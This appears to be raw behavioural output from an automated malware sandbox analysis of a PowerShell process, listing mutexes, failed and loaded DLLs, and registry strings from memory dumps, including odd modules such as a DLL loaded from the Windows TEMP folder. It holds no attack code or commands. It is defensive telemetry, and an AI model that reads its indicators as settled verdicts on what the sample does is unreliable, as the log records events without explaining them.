"\Sessions\1\BaseNamedObjects\Local\SM0:5528:120:WilError_01" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:4752:304:WilStaging_02"35:T1428,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-libraryloader-l1-2-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.Unmanaged.DLL" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-processthreads-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core-handle-l1-1-0.dll" - [base:0; Status:c0000135]36:T23bc,"o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00004752.00000001.226698.F9AD0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00004752.00000001.226698.F9AD0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005528.00000000.225591.3E4E0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005528.00000000.225591.3E4E0000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005528.00000000.225591.3E4E0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005528.00000000.225591.58960000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005528.00000001.226277.3E4E0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005528.00000001.226277.3E512000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005528.00000001.226277.3E512000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005528.00000001.226277.58960000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\Instance" in Source: 00000000-00005528.00000001.226277.58960000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}" in Source: 00000000-00005528.00000001.226277.5A3F0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}" in Source: 00000000-00005528.00000001.226277.5A3F0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}" in Source: 00000000-00005528.00000001.226277.5A3F0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}" in Source: 00000000-00005528.00000001.226277.5A3F0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{66742402-F9B9-11D1-A202-0000F81FEDEE}\OverrideFileSystemProperties" in Source: 00000000-00005528.00000001.226277.5A3F0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00005528.00000001.226277.5A48D000.00000004.mdmp "Registry\Machine\Software\Classes\Applications\powershell.exe" in Source: 00000000-00005528.00000001.226277.5A4C2000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2" in Source: 00000000-00005528.00000001.226277.5A4C2000.00000004.mdmp "Registry\Machine\Software\Classes\Applications\%1.exe" in Source: 00000000-00005528.00000001.226277.5A4C2000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3" in Source: 00000000-00005528.00000001.226277.5A4C2000.00000004.mdmp "Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" in Source: 00000000-00005528.00000001.226277.5A4C2000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00005528.00000001.226277.5A4C2000.00000004.mdmp "Path=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\HAPUBWS\AppData\Roaming\nvm;C:\Program Files\nodejs;C:\Users\HAPUBWS\AppData\Local\Programs\Python\Python311\Scripts\;C:\Users\HAPUBWS\AppData\Local\Programs\Python\Python311\;C:\Users\HAPUBWS\AppData\Local\Microsoft\WindowsApps;C:\Program Files\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}" in Source: 00000000-00005528.00000001.226277.5A4C2000.00000004.mdmp "USERD\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}:\WINDOWS" in Source: 00000000-00005528.00000001.226277.5A4C2000.00000004.mdmp "\Registry\Machine\Software\Classes\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}" in Source: 00000000-00005528.00000001.226277.5A4C2000.00000004.mdmp "Path=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\HAPUBWS\AppData\Roaming\nvm;C:\Program Files\nodejs;C:\Users\HAPUBWS\AppData\Local\Programs\Python\Python311\Scripts\;C:\Users\HAPUBWS\AppData\Local\Programs\Python\Python311\;C:\Users\HAPUBWS\AppData\Local\Microsoft\WindowsApps;C:\Program Files\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}" in Source: 00000000-00005528.00000001.226277.5A4C2000.00000004.mdmp "USERDNSDOMAIN=DESKTOP-FVVF82\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}:\WINDOWS" in Source: 00000000-00005528.00000001.226277.5A4C2000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}" in Source: 00000000-00005528.00000001.226277.5A4C2000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}T" in Source: 00000000-00005528.00000001.226277.5A4C2000.00000004.mdmp "\Registry\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005528.00000001.226277.5A4C2000.00000004.mdmp "Path=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\HAPUBWS\AppData\Roaming\nvm;C:\Program Files\nodejs;C:\Users\HAPUBWS\AppData\Local\Programs\Python\Python311\Scripts\;C:\Users\HAPUBWS\AppData\Local\Programs\Python\Python311\;C:\Users\HAPUBWS\AppData\Local\Microsoft\WindowsApps;C:\Program Files\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00005528.00000001.226277.5A4C2000.00000004.mdmp "USERDNSDOMAIN=DESKTOP-FVVF82\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}:\WINDOWS" in Source: 00000000-00005528.00000001.226277.5A4C2000.00000004.mdmp "\Registry\Machine\Software\Classes\Applications\%1.exe" in Source: 00000000-00005528.00000001.226277.5A4C2000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00005528.00000001.226277.5A7B4000.00000004.mdmp "SOFTWARE\Policies\Microsoft" in Source: 00000000-00005528.00000001.226277.C2688000.00000002.mdmp "HKLM\" in Source: 00000000-00005528.00000001.226277.C2688000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00005528.00000001.226277.C2688000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005528.00000001.226277.C2688000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Server\ServerLevels" in Source: 00000000-00005528.00000001.226277.C2688000.00000002.mdmp "\REGISTRY\MACHINE\Software\Microsoft\WindowsRuntime" in Source: 00000000-00006112.00000000.226503.3FBD0000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00006112.00000001.226684.39E0A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00006112.00000001.226684.39E0A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00006112.00000001.226684.39E0A000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00006112.00000001.226684.39E0A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00006112.00000001.226684.39E0A000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00006112.00000001.226684.39E0A000.00000002.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00006112.00000001.226684.3FBD0000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00006112.00000001.226684.3FBD0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00006112.00000001.226684.3FBD0000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00006112.00000001.226684.3FBD0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00006112.00000001.226684.59FD0000.00000004.mdmp37:T3feb,"powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffdf4fc0000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffdf4fc0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffdf4fc0000 "powershell.exe" loaded module "KERNEL32" at base 7ffdf8a80000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffdd1d60000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffdf3550000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 7ffdf5740000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPRESOLVER.DLL" at base 7ffddfb60000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7ffdf8a80000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 7ffdf1360000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 202e1770000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7ffdf8210000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffdf43b0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffdf5230000 "powershell.exe" loaded module "NTDLL.DLL" at base 7ffdf8bc0000 "powershell.exe" loaded module "CSCAPI.DLL" at base 7ffde7ba0000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7ffdf7fb0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ffdd0310000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 7ffdf6090000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ffdf4fa0000 "powershell.exe" loaded module "VERSION.DLL" at base 7ffdeb7c0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ffdcf840000 "powershell.exe" loaded module "USER32.DLL" at base 7ffdf84b0000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ffdf4fc0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREE.DLL" at base 0 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ffdd3ee0000 "powershell.exe" loaded module "NTDLL" at base 7ffdf8bc0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ffdf7ca0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7ffdc7660000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLE32.DLL" at base 0 "powershell.exe" loaded module "OLE32.DLL" at base 7ffdf8330000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ffdf7ca0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7ffdf8880000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7ffdc69f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7ffdc5f70000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ffdcf6d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\6DA01910C256231D1C50AD0AACEE5941\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ffdc3f00000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\COMBASE.DLL" at base 0 "powershell.exe" loaded module "COMBASE.DLL" at base 7ffdf7ca0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ffdf7ca0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "powershell.exe" loaded module "SHELL32.DLL" at base 202e1770000 "powershell.exe" loaded module "PSAPI.DLL" at base 7ffdf8870000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WINTRUST.DLL" at base 0 "powershell.exe" loaded module "WINTRUST.DLL" at base 7ffdf6030000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7ffdf6030000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ffdf54d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\AMSI.DLL" at base 0 "powershell.exe" loaded module "AMSI.DLL" at base 7ffde1a90000 "powershell.exe" loaded module "CRYPT32.DLL" at base 7ffdf54d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ffdeb7c0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ffde1a70000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\G9Q6718S.DLL" at base 7ffde0900000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ffde0860000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ffde06f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ffdcf560000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ffdc3650000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NUMERICS\86CFD69CE1261BAF4740E7606CADE014\SYSTEM.NUMERICS.NI.DLL" at base 7ffde0690000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 7ffdc2ce0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ffdc2970000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ffdf4fc0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffdc2820000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ffdd1690000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ffdcf480000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffdc26e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ffdd4320000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "powershell.exe" loaded module "SECUR32.DLL" at base 7ffdeb730000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7ffdf4e40000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\SHLWAPI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WLDP.DLL" at base 0 "powershell.exe" loaded module "WLDP.DLL" at base 7ffdf4000000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ffdc2600000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ffdf8a80000 "powershell.exe" loaded module "USERENV.DLL" at base 7ffdf4e10000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ffdf7fb0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ffdf7ca0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\DF7D947A99CBCFAA726B127726F05476\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ffdc18f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\120A0532577F871C2415502D9EDACDD6\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ffdd79c0000 "powershell.exe" loaded module "OLEAUT32" at base 7ffdf8880000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "powershell.exe" loaded module "BCRYPT.DLL" at base 7ffdf4a70000 "powershell.exe" loaded module "SHELL32.DLL" at base 22d58a60000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\D922445A828B30938C72D375A3B34A60\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ffdc16b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\IPHLPAPI.DLL" at base 0 "powershell.exe" loaded module "IPHLPAPI.DLL" at base 7ffdf4530000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\RASAPI32.DLL" at base 0 "powershell.exe" loaded module "RASAPI32.DLL" at base 7ffde8830000 